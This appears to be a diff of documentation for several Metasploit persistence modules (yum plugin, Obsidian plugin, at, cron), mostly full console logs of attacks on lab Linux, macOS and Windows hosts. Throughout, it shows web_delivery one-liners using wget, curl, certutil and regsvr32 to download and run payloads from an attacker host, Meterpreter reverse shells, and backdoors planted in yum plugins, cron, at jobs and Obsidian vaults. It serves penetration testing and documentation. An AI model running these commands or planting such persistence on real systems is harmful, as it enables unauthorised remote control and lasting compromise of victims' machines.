resource (/root/.msf4/msfconsole.rc)> set target 7
target => 7
resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set lport 4545
lport => 4545
resource (/root/.msf4/msfconsole.rc)> set URIPATH l
URIPATH => l
resource (/root/.msf4/msfconsole.rc)> run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Starting persistent handler(s)...
[*] Started reverse TCP handler on 111.111.1.111:4545
[*] Using URL: http://111.111.1.111:8181/l
[*] Server started.
[*] Run the following command on the target machine:
wget -qO KOiqZchh --no-check-certificate http://111.111.1.111:8181/l; chmod +x KOiqZchh; ./KOiqZchh& disown
[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) >
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 192.168.2.100
[*] Meterpreter session 1 opened (111.111.1.111:4545 -> 192.168.2.100:34470) at 2025-02-16 11:30:09 -0500
[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > use exploit/linux/persistence/yum_package_manager
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
[msf](Jobs:2 Agents:2) exploit(linux/persistence/yum_package_manager) > sessions -i 1
[*] Starting interaction with 1...
(Meterpreter 1)(/home/centos) > getuid
Server username: root
(Meterpreter 1)(/home/centos) > sysinfo
Computer : centos71.localdomain
OS : CentOS 7.9.2009 (Linux 3.10.0-1160.53.1.el7.x86_64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
(Meterpreter 1)(/home/centos) > background
[*] Backgrounding session 1...
```
Persistence
```
[msf](Jobs:1 Agents:1) exploit(linux/persistence/yum_package_manager) > set session 1
session => 1
[msf](Jobs:1 Agents:1) exploit(linux/persistence/yum_package_manager) > exploit
[*] Command to run on remote host: curl -so ./lgtOaZox http://111.111.1.111:8080/Hg3DGEu9GqlWD06kh4AzFg;chmod +x ./lgtOaZox;./lgtOaZox&
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
[msf](Jobs:2 Agents:1) exploit(linux/persistence/yum_package_manager) >
[*] Fetch handler listening on 111.111.1.111:8080
[*] HTTP server started
[*] Adding resource /Hg3DGEu9GqlWD06kh4AzFg
[*] Started reverse TCP handler on 111.111.1.111:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 222.222.2.222
[+] Plugins are enabled!
[*] Meterpreter session 2 opened (111.111.1.111:4444 -> 222.222.2.222:53880) at 2025-02-16 11:30:59 -0500
[!] The service is running, but could not be validated. yum installed and plugin found, enabled, and backdoorable
[*] Attempting to modify plugin
[*] Backdoor uploaded to /tmp/7EtplboZD
[+] Backdoor will run on next Yum update
[*] Meterpreter-compatible Cleaup RC file: /root/.msf4/logs/persistence/centos71.localdomain_20250216.3101/centos71.localdomain_20250216.3101.rc
```
@@ -1,124 +0,0 @@
## Vulnerable Application
This module searches for Obsidian vaults for a user, and uploads a malicious
community plugin to the vault. The vaults must be opened with community
plugins enabled (NOT restricted mode), but the plugin will be enabled
automatically.
Tested against Obsidian 1.7.7 on Kali, Ubuntu 22.04, and Windows 10.
### Debugging
To open the console (similar to chrome), use `ctr+shift+i`.
## Verification Steps
1. Install the application
2. Start msfconsole
3. Get a user shell on the target
4. Do: `use multi/local/obsidian_plugin_persistence`
5. Do: Select a shell which will work on your target OS
6. Do: `run`
7. You should get a shell when the target user opens the vault without restricted mode.
## Options
### NAME
Name of the plugin. Defaults to being randomly generated.
### USER
The user to target. Defaults the user the shell was obtained under.
### CONFIG
Config file location on target. Defaults to empty which will search the default locations.
## Scenarios
### Version and OS
Get a user shell.
```
msf exploit(multi/script/web_delivery) > use exploit/multi/local/obsidian_plugin_persistence
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
msf exploit(multi/local/obsidian_plugin_persistence) > set session 1
session => 1
msf exploit(multi/local/obsidian_plugin_persistence) > set verbose true
verbose => true
msf exploit(multi/local/obsidian_plugin_persistence) > exploit
[*] Command to run on remote host: curl -so ./HvxtaAdZVc http://1.1.1.1:8080/aZRe4yWUN3U2-lDtdsaGlA; chmod +x ./HvxtaAdZVc; ./HvxtaAdZVc &
[*] Fetch handler listening on 1.1.1.1:8080
[*] HTTP server started
[*] Adding resource /aZRe4yWUN3U2-lDtdsaGlA
[*] Started reverse TCP handler on 1.1.1.1:4444
[*] Using plugin name: xQem
[*] Target User: ubuntu
[*] Found user obsidian file: /home/ubuntu/.config/obsidian/obsidian.json
[+] Found open vault 83ca6e5734f5dfc4: /home/ubuntu/Documents/test
[*] Uploading plugin to vault /home/ubuntu/Documents/test
[*] Uploading: /home/ubuntu/Documents/test/.obsidian/plugins/xQem/main.js
[*] Uploading: /home/ubuntu/Documents/test/.obsidian/plugins/xQem/manifest.json
[*] Found 1 enabled community plugins (sX2sv4)
[*] adding xQem to the enabled community plugins list
[+] Plugin enabled, waiting for Obsidian to open the vault and execute the plugin.
[*] Client 2.2.2.2 requested /aZRe4yWUN3U2-lDtdsaGlA
[*] Sending payload to 2.2.2.2 (curl/7.81.0)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 2.2.2.2
[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 2.2.2.2:49192) at 2024-12-05 10:19:32 -0500
meterpreter > getuid
Server username: ubuntu
meterpreter > sysinfo
Computer : 2.2.2.2
OS : Ubuntu 22.04 (Linux 5.15.0-60-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
```
### Obsidian 1.7.7 on Windows 10
```
msf exploit(multi/local/obsidian_plugin_persistence) > rexploit
[*] Reloading module...
[*] Command to run on remote host: certutil -urlcache -f http://1.1.1.1:8080/bXCLrS0dWKPwEfygT3FJNA %TEMP%\FDTcKUuwF.exe & start /B %TEMP%\FDTcKUuwF.exe
[*] Fetch handler listening on 1.1.1.1:8080
[*] HTTP server started
[*] Adding resource /bXCLrS0dWKPwEfygT3FJNA
[*] Started reverse TCP handler on 1.1.1.1:4444
[*] Using plugin name: pPq0K
[*] Target User: h00die
[*] Found user obsidian file: C:\Users\h00die\AppData\Roaming\obsidian\obsidian.json
[+] Found open vault 69172dadc065de73: C:\Users\h00die\Documents\vault
[*] Uploading plugin to vault C:\Users\h00die\Documents\vault
[*] Uploading: C:\Users\h00die\Documents\vault/.obsidian/plugins/pPq0K/main.js
[*] Uploading: C:\Users\h00die\Documents\vault/.obsidian/plugins/pPq0K/manifest.json
[*] Found 0 enabled community plugins ()
[*] adding pPq0K to the enabled community plugins list
[+] Plugin enabled, waiting for Obsidian to open the vault and execute the plugin.
[*] Client 3.3.3.3 requested /bXCLrS0dWKPwEfygT3FJNA
[*] Sending payload to 3.3.3.3 (Microsoft-CryptoAPI/10.0)
[*] Client 3.3.3.3 requested /bXCLrS0dWKPwEfygT3FJNA
[*] Sending payload to 3.3.3.3 (CertUtil URL Agent)
[*] Meterpreter session 7 opened (1.1.1.1:4444 -> 3.3.3.3:51369) at 2024-12-05 09:24:24 -0500
meterpreter > getuid
Server username: DESKTOP-3ASD0R4\h00die
meterpreter > sysinfo
Computer : DESKTOP-3ASD0R4
OS : Windows 10 (10.0 Build 19044).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter >
```
@@ -0,0 +1,190 @@
## Vulnerable Application
This module executes a metasploit payload utilizing `at(1)` to execute jobs at a specific time. It should work out of the box
with any UNIX-like operating system with `atd` running.
Verified on Kali linux and OSX 13.7.4
### OSX
In the case of OS X, the `atrun` service must be launched:
```
sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.atrun.plist
```
### Kali
`at` isn't installed by default. `sudo apt-get install at`.
## Verification Steps
1. Start msfconsole
2. Exploit a box via whatever method
3. Do: `use exploit/multi/persistence/at`
4. Do: `set session #`
5. `exploit`
## Options
### TIME
When to run job via `at(1)`. Conforms to timespec. Examples can be found in the module's references.
## Scenarios
### Kali Linux
Initial access vector via web delivery
```
[*] Processing /home/mtcyr/.msf4/msfconsole.rc for ERB directives.
resource (/home/mtcyr/.msf4/msfconsole.rc)> setg verbose true
verbose => true
resource (/home/mtcyr/.msf4/msfconsole.rc)> setg lhost 192.168.10.144
lhost => 192.168.10.144
resource (/home/mtcyr/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
[*] Using configured payload python/meterpreter/reverse_tcp
resource (/home/mtcyr/.msf4/msfconsole.rc)> set srvport 8181
srvport => 8181
resource (/home/mtcyr/.msf4/msfconsole.rc)> set target 7
target => 7
resource (/home/mtcyr/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
resource (/home/mtcyr/.msf4/msfconsole.rc)> set lport 4545
lport => 4545
resource (/home/mtcyr/.msf4/msfconsole.rc)> run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Starting persistent handler(s)...
[*] Started reverse TCP handler on 192.168.10.144:4545
[*] Using URL: http://192.168.10.144:8181/PaulWjhBSpRlqAz
[*] Server started.
[*] Run the following command on the target machine:
wget -qO o20dAbhk --no-check-certificate http://192.168.10.144:8181/PaulWjhBSpRlqAz; chmod +x o20dAbhk; ./o20dAbhk& disown
[msf](Jobs:2 Agents:0) exploit(multi/script/web_delivery) >
[*] 192.168.10.144 web_delivery - Delivering Payload (250 bytes)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 192.168.10.144
[*] Meterpreter session 1 opened (192.168.10.144:4545 -> 192.168.10.144:42442) at 2025-02-06 11:40:00 -0500
[msf](Jobs:2 Agents:1) exploit(multi/script/web_delivery) > sessions -i 1
[*] Starting interaction with 1...
(Meterpreter 1)(/tmp) > sysinfo
Computer : 192.168.10.144
OS : Debian (Linux 6.11.2-amd64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
(Meterpreter 1)(/tmp) > background
[*] Backgrounding session 1...
```
Persistence
```
[msf](Jobs:2 Agents:1) exploit(multi/script/web_delivery) > use exploit/multi/persistence/at
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
[msf](Jobs:2 Agents:1) exploit(multi/persistence/at) > set time "now +10 minutes"
time => now +10 minutes
[msf](Jobs:2 Agents:1) exploit(multi/persistence/at) > set session 1
session => 1
[msf](Jobs:2 Agents:1) exploit(multi/persistence/at) > exploit
[*] Command to run on remote host: curl -so ./tmoAoATss http://192.168.10.144:8080/aZRe4yWUN3U2-lDtdsaGlA;chmod +x ./tmoAoATss;./tmoAoATss&
[*] Exploit running as background job 2.
[*] Exploit completed, but no session was created.
[msf](Jobs:3 Agents:1) exploit(multi/persistence/at) > [*] Fetch handler listening on 192.168.10.144:8080
[*] HTTP server started
[*] Adding resource /aZRe4yWUN3U2-lDtdsaGlA
[*] Started reverse TCP handler on 192.168.10.144:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. at(1) confirmed to be usable as a persistence mechanism
[*] Writing payload to /tmp//YneHFC
[*] Waiting for execution
[*] Meterpreter-compatible Cleaup RC file: /home/mtcyr/.msf4/logs/persistence/192.168.10.144_20250206.4241/192.168.10.144_20250206.4241.rc
[msf](Jobs:3 Agents:1) exploit(multi/persistence/at) > date
[*] exec: date
Thu Feb 6 11:42:44 AM EST 2025
[msf](Jobs:3 Agents:1) exploit(multi/persistence/at) >
[*] Client 192.168.10.144 requested /aZRe4yWUN3U2-lDtdsaGlA
[*] Sending payload to 192.168.10.144 (curl/8.11.1)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 192.168.10.144
[*] Meterpreter session 2 opened (192.168.10.144:4444 -> 192.168.10.144:36212) at 2025-02-06 11:52:00 -0500
[msf](Jobs:3 Agents:2) exploit(multi/persistence/at) > date
[*] exec: date
Thu Feb 6 11:52:20 AM EST 2025
```
### OSX 13.7.4
Initial access vector via web delivery
```
resource (/root/.msf4/msfconsole.rc)> setg verbose true
verbose => true
resource (/root/.msf4/msfconsole.rc)> setg lhost 111.111.1.111
lhost => 111.111.1.111
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
[*] Using configured payload python/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set target 8
target => 8
resource (/root/.msf4/msfconsole.rc)> set srvport 8383
srvport => 8383
resource (/root/.msf4/msfconsole.rc)> set payload payload/osx/x64/meterpreter_reverse_tcp
payload => osx/x64/meterpreter_reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set lport 4747
lport => 4747
resource (/root/.msf4/msfconsole.rc)> set URIPATH m
URIPATH => m
resource (/root/.msf4/msfconsole.rc)> run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Starting persistent handler(s)...
[*] Started reverse TCP handler on 111.111.1.111:4747
[*] Using URL: http://111.111.1.111:8383/m
[*] Server started.
[*] Run the following command on the target machine:
curl -sk --output y9D7PFJd http://111.111.1.111:8383/m; chmod +x y9D7PFJd; ./y9D7PFJd& disown
[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) > [*] Meterpreter session 1 opened (111.111.1.111:4747 -> 222.22.2.2:49164) at 2025-02-21 16:59:10 -0500
[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > use exploit/multi/persistence/at
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
[msf](Jobs:2 Agents:2) exploit(multi/persistence/at) > sessions -i 1
[*] Starting interaction with 1...
(Meterpreter 1)(/Users/macos) > getuid
Server username: macos
(Meterpreter 1)(/Users/macos) > sysinfo
Computer : 20.20.20.21
OS : macOS Ventura (macOS 13.7.4)
Architecture : x86
BuildTuple : x86_64-apple-darwin
Meterpreter : x64/osx
(Meterpreter 1)(/Users/macos) >
```
Persistence
Already run: `sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.atrun.plist`
```
[msf](Jobs:1 Agents:1) exploit(multi/persistence/at) > set session 1
session => 1
[msf](Jobs:1 Agents:1) exploit(multi/persistence/at) > set time now +2 minutes
time => now +2 minutes
[msf](Jobs:1 Agents:1) exploit(multi/persistence/at) > set payload payload/osx/x64/meterpreter_reverse_tcp
payload => osx/x64/meterpreter_reverse_tcp
[msf](Jobs:1 Agents:1) exploit(multi/persistence/at) > exploit
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
[msf](Jobs:2 Agents:1) exploit(multi/persistence/at) >
[*] Started reverse TCP handler on 111.111.1.111:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. at(1) confirmed to be usable as a persistence mechanism
[*] Writing payload to /tmp/NBcqC
[*] Writing '/tmp/NBcqC' (25 bytes) ...
[*] Writing '/tmp/NBcqCmk' (815032 bytes) ...
[+] at job created with id: 7
[*] Waiting up to sec for execution
[*] Meterpreter-compatible Cleaup RC file: /root/.msf4/logs/persistence/20.20.20.21_20250221.0028/20.20.20.21_20250221.0028.rc
[*] Meterpreter session 2 opened (111.111.1.111:4444 -> 222.22.2.2:49165) at 2025-02-21 17:02:29 -0500
```
@@ -0,0 +1,213 @@
## Vulnerable Application
This module will create a cron or crontab entry to execute a payload.
The module includes the ability to automatically clean up those entries to prevent multiple executions.
syslog will get a copy of the cron entry.
Verified on Ubuntu 22.04.1, MacOS 13.7.4
## Verification Steps
1. Start msfconsole
2. Exploit a box via whatever method
3. Do: `use exploit/multi/persistence/cron`
4. Do: `set session #`
5. Do: `set target #`
6. Optional Do: `set username` (depends on target selection)
7. Do: `exploit`
## Options
### USERNAME
Set a specific user's crontab if target 'User Crontab' is selected
### TIMING
Set cron's timing. Default is to run within a minute. Defaults to `* * * * *`
### PAYLOAD_NAME
If using a non-cmd/fetch payload, the name of the payload file. Defaults to random.
## Scenarios
### MacOS 13.7.4
Initial access via web delivery
```
resource (/root/.msf4/msfconsole.rc)> setg verbose true
verbose => true
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
[*] Using configured payload python/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set srvport 8181
srvport => 8181
resource (/root/.msf4/msfconsole.rc)> set lport 4545
lport => 4545
resource (/root/.msf4/msfconsole.rc)> set URIPATH l
URIPATH => l
[msf](Jobs:0 Agents:0) exploit(multi/script/web_delivery) > set target 8
target => 8
[msf](Jobs:0 Agents:0) exploit(multi/script/web_delivery) > set payload payload/osx/x64/meterpreter/reverse_tcp
payload => osx/x64/meterpreter/reverse_tcp
[msf](Jobs:0 Agents:0) exploit(multi/script/web_delivery) > exploit
[-] Msf::OptionValidateError One or more options failed to validate: LHOST.
[*] Exploit completed, but no session was created.
[msf](Jobs:0 Agents:0) exploit(multi/script/web_delivery) > set lhost 111.111.1.111
lhost => 111.111.1.111
[msf](Jobs:0 Agents:0) exploit(multi/script/web_delivery) > exploit
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) >
[*] Started reverse TCP handler on 0.0.0.0:4545
[*] Using URL: http://111.111.1.111:8181/l
[*] Server started.
[*] Run the following command on the target machine:
curl -sk --output 4aJvtPCb http://111.111.1.111:8181/l; chmod +x 4aJvtPCb; ./4aJvtPCb& disown
[*] Transmitting first stager...(214 bytes)
[*] Transmitting second stager...(49152 bytes)
[*] Sending stage (815032 bytes) to 172.17.0.3
[*] Meterpreter session 1 opened (111.111.1.111:4545 -> 172.17.0.3:49171) at 2025-02-17 17:14:43 -0500
[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > sessions -i 1
[*] Starting interaction with 1...
(Meterpreter 1)(/Users/macos) > sysinfo
Computer : 20.20.20.21
OS : macOS Ventura (macOS 13.7.4)
Architecture : x86
BuildTuple : x86_64-apple-darwin
Meterpreter : x64/osx
(Meterpreter 1)(/Users/macos) > getuid
Server username: macos
(Meterpreter 1)(/Users/macos) > background
[*] Backgrounding session 1...
```
Due to networking issues, persistence payload is a cmd to touch a file.
```
[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > use exploit/multi/persistence/cron
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
[msf](Jobs:1 Agents:1) exploit(multi/persistence/cron) > set target 2
target => 2
[msf](Jobs:1 Agents:1) exploit(multi/persistence/cron) > set payload payload/osx/x64/exec
payload => osx/x64/exec
[msf](Jobs:1 Agents:1) exploit(multi/persistence/cron) > set cmd "/usr/bin/touch /Users/macos/executed_demo"
cmd => /usr/bin/touch /Users/macos/executed_demo
[msf](Jobs:1 Agents:1) exploit(multi/persistence/cron) > set AllowNoCleanup true
AllowNoCleanup => true
[msf](Jobs:1 Agents:1) exploit(multi/persistence/cron) > set user macos
user => macos
[msf](Jobs:1 Agents:1) exploit(multi/persistence/cron) > set writabledir /Users/macos
writabledir => /Users/macos
[msf](Jobs:1 Agents:1) exploit(multi/persistence/cron) > set session 1
session => 1
[msf](Jobs:1 Agents:1) exploit(multi/persistence/cron) > exploit
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
[msf](Jobs:2 Agents:1) exploit(multi/persistence/cron) >
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Cron timing is valid, no cron.deny entries found
[*] Writing backdoor to /Users/macos/nGnXw
[*] Writing '/Users/macos/nGnXw' (17204 bytes) ...
[*] Utilizing crontab since we can't write to /var/at/tabs/
[+] Payload will be triggered when cron time is reached
[msf](Jobs:2 Agents:1) exploit(multi/persistence/cron) > sessions -i 1
[*] Starting interaction with 1...
(Meterpreter 1)(/Users/macos) > ls
Listing: /Users/macos
=====================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100400/r-------- 7 fil 2025-02-17 09:22:02 -0500 .CFUserTextEncoding
040700/rwx------ 64 dir 2025-02-17 09:23:29 -0500 .Trash
100600/rw------- 4057 fil 2025-02-17 12:46:46 -0500 .viminfo
100600/rw------- 1291 fil 2025-02-17 17:11:33 -0500 .zsh_history
040700/rwx------ 256 dir 2025-02-17 17:11:33 -0500 .zsh_sessions
100755/rwxr-xr-x 815032 fil 2025-02-17 12:23:58 -0500 2gXD9pz
040700/rwx------ 96 dir 2025-02-17 09:21:18 -0500 Desktop
040700/rwx------ 96 dir 2025-02-17 09:21:18 -0500 Documents
040700/rwx------ 96 dir 2025-02-17 09:21:18 -0500 Downloads
040700/rwx------ 2464 dir 2025-02-17 11:17:13 -0500 Library
040700/rwx------ 96 dir 2025-02-17 09:21:18 -0500 Movies
040700/rwx------ 96 dir 2025-02-17 09:21:18 -0500 Music
040700/rwx------ 128 dir 2025-02-17 11:14:18 -0500 Pictures
040755/rwxr-xr-x 128 dir 2025-02-17 09:21:18 -0500 Public
100644/rw-r--r-- 0 fil 2025-02-17 17:19:00 -0500 executed_demo
100700/rwx------ 17204 fil 2025-02-17 17:18:27 -0500 nGnXw
```
### Ubuntu 22.04.1
Initial access via web delivery
```
resource (/root/.msf4/msfconsole.rc)> setg verbose true
verbose => true
resource (/root/.msf4/msfconsole.rc)> setg lhost 111.111.1.111
lhost => 111.111.1.111
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
[*] Using configured payload python/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set srvport 8181
srvport => 8181
resource (/root/.msf4/msfconsole.rc)> set target 7
target => 7
resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set lport 4545
lport => 4545
resource (/root/.msf4/msfconsole.rc)> set URIPATH l
URIPATH => l
resource (/root/.msf4/msfconsole.rc)> run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 111.111.1.111:4545
[*] Using URL: http://111.111.1.111:8181/l
[*] Server started.
[*] Run the following command on the target machine:
wget -qO xKgxaWNl --no-check-certificate http://111.111.1.111:8181/l; chmod +x xKgxaWNl; ./xKgxaWNl& disown
[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) > [*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 222.222.2.22
[*] Meterpreter session 1 opened (111.111.1.111:4545 -> 222.222.2.22:47100) at 2025-02-17 17:36:07 -0500
[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > sessions -i 1
[*] Starting interaction with 1...
(Meterpreter 1)(/home/ubuntu) > getuid
Server username: ubuntu
(Meterpreter 1)(/home/ubuntu) > sysinfo
Computer : 222.222.2.22
OS : Ubuntu 22.04 (Linux 5.15.0-48-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
(Meterpreter 1)(/home/ubuntu) > background
[*] Backgrounding session 1...
```
Persistence
```
[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > use exploit/multi/persistence/cron
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
[msf](Jobs:1 Agents:1) exploit(multi/persistence/cron) > set session 1
session => 1
[msf](Jobs:1 Agents:1) exploit(multi/persistence/cron) > rexploit
[*] Reloading module...
[*] Command to run on remote host: curl -so ./yMuAETldii http://111.111.1.111:8080/Hg3DGEu9GqlWD06kh4AzFg;chmod +x ./yMuAETldii;./yMuAETldii&
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
[msf](Jobs:2 Agents:1) exploit(multi/persistence/cron) >
[*] Fetch handler listening on 111.111.1.111:8080
[*] HTTP server started
[*] Adding resource /Hg3DGEu9GqlWD06kh4AzFg
[*] Started reverse TCP handler on 111.111.1.111:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Cron timing is valid, no cron.deny entries found
[*] Utilizing crontab since we can't write to /var/spool/cron/crontabs
[+] Payload will be triggered when cron time is reached
[*] Client 222.222.2.22 requested /Hg3DGEu9GqlWD06kh4AzFg
[*] Sending payload to 222.222.2.22 (curl/7.81.0)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 222.222.2.22
[*] Meterpreter session 2 opened (111.111.1.111:4444 -> 222.222.2.22:43108) at 2025-02-17 17:38:02 -0500
[msf](Jobs:2 Agents:2) exploit(multi/persistence/cron) >
```
@@ -0,0 +1,126 @@
## Vulnerable Application
This module searches for Obsidian vaults for a user, and uploads a malicious
community plugin to the vault. The vaults must be opened with community
plugins enabled (NOT restricted mode), but the plugin will be enabled
automatically.
Tested against Obsidian 1.7.7 on Kali, Ubuntu 22.04, and 1.8.4 on Windows 10.
### Debugging
To open the console (similar to chrome), use `ctr+shift+i`.
## Verification Steps
1. Install the application
2. Start msfconsole
3. Get a user shell on the target
4. Do: `use multi/persistence/obsidian_plugin`
5. Do: Select a shell which will work on your target OS
6. Do: `run`
7. You should get a shell when the target user opens the vault without restricted mode.
## Options
### NAME
Name of the plugin. Defaults to being randomly generated.
### USER
The user to target. Defaults the user the shell was obtained under.
### CONFIG
Config file location on target. Defaults to empty which will search the default locations.
## Scenarios
### Obsidian 1.8.4 on Windows 10
Get a user shell.
```
resource (/root/.msf4/msfconsole.rc)> setg verbose true
verbose => true
resource (/root/.msf4/msfconsole.rc)> setg lhost 111.111.1.111
lhost => 111.111.1.111
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
[*] Using configured payload python/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set target 3
target => 3
resource (/root/.msf4/msfconsole.rc)> set srvport 8282
srvport => 8282
resource (/root/.msf4/msfconsole.rc)> set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set lport 4646
lport => 4646
resource (/root/.msf4/msfconsole.rc)> set URIPATH w
URIPATH => w
resource (/root/.msf4/msfconsole.rc)> run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Starting persistent handler(s)...
[*] Started reverse TCP handler on 111.111.1.111:4646
[*] Using URL: http://111.111.1.111:8282/w
[*] Server started.
[*] Run the following command on the target machine:
regsvr32 /s /n /u /i:http://111.111.1.111:8282/w.sct scrobj.dll
[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) >
[*] 222.222.2.22 web_delivery - Handling .sct Request
[*] 222.222.2.22 web_delivery - Powershell command length: 3696
[*] 222.222.2.22 web_delivery - Delivering Payload (3696 bytes)
[*] Sending stage (203846 bytes) to 222.222.2.22
[*] Meterpreter session 1 opened (111.111.1.111:4646 -> 222.222.2.22:50125) at 2025-02-17 09:00:05 -0500
[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > use exploit/multi/persistence/obsidian_plugin
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
[msf](Jobs:1 Agents:1) exploit(multi/persistence/obsidian_plugin) > sessions -i 1
[*] Starting interaction with 1...
(Meterpreter 1)(C:\Users\windows) > getuid
Server username: WIN10PROLICENSE\windows
(Meterpreter 1)(C:\Users\windows) > sysinfo
Computer : WIN10PROLICENSE
OS : Windows 10 (10.0 Build 19045).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
(Meterpreter 1)(C:\Users\windows) > background
[*] Backgrounding session 1...
```
Persistence
```
[msf](Jobs:1 Agents:1) exploit(multi/persistence/obsidian_plugin) > set payload payload/cmd/windows/http/x64/meterpreter/reverse_tcp
payload => cmd/windows/http/x64/meterpreter/reverse_tcp
[msf](Jobs:1 Agents:1) exploit(multi/persistence/obsidian_plugin) > exploit
[*] Command to run on remote host: certutil -urlcache -f http://111.111.1.111:8080/xCXtwaKhxivsa8DBsy06mQ %TEMP%\MvboVJyBQSJ.exe & start /B %TEMP%\MvboVJyBQSJ.exe
[*] Exploit running as background job 2.
[*] Exploit completed, but no session was created.
[msf](Jobs:2 Agents:1) exploit(multi/persistence/obsidian_plugin) >
[*] Fetch handler listening on 111.111.1.111:8080
[*] HTTP server started
[*] Adding resource /xCXtwaKhxivsa8DBsy06mQ
[*] Started reverse TCP handler on 111.111.1.111:4444
[*] Using plugin name: kuCPva
[*] Target User: windows
[*] Found user obsidian file: C:\Users\windows\AppData\Roaming\obsidian\obsidian.json
[+] Found open vault 73fefafd47723a1b: C:\Users\windows\Desktop\this_is_my_vault
[*] Uploading plugin to vault C:\Users\windows\Desktop\this_is_my_vault
[*] Uploading: C:\Users\windows\Desktop\this_is_my_vault/.obsidian/plugins/kuCPva/main.js
[*] Uploading: C:\Users\windows\Desktop\this_is_my_vault/.obsidian/plugins/kuCPva/manifest.json
[*] Found 4 enabled community plugins (AHBk, CbJt, tjPCOxub9, UOQEhHOR)
[+] Config file saved in: /root/.msf4/loot/20250217091115_default_222.222.2.22_obsidian.communi_029034.txt
[*] adding kuCPva to the enabled community plugins list
[+] Plugin enabled, waiting for Obsidian to open the vault and execute the plugin.
[*] Meterpreter-compatible Cleaup RC file: /root/.msf4/logs/persistence/WIN10PROLICENSE_20250217.1116/WIN10PROLICENSE_20250217.1116.rc
[*] Client 222.222.2.22 requested /xCXtwaKhxivsa8DBsy06mQ
[*] Sending payload to 222.222.2.22 (Microsoft-CryptoAPI/10.0)
[*] Client 222.222.2.22 requested /xCXtwaKhxivsa8DBsy06mQ
[*] Sending payload to 222.222.2.22 (CertUtil URL Agent)
[*] Sending stage (203846 bytes) to 222.222.2.22
[*] Meterpreter session 2 opened (111.111.1.111:4444 -> 222.222.2.22:50145) at 2025-02-17 09:11:41 -0500
```
@@ -0,0 +1,115 @@
## Vulnerable Application
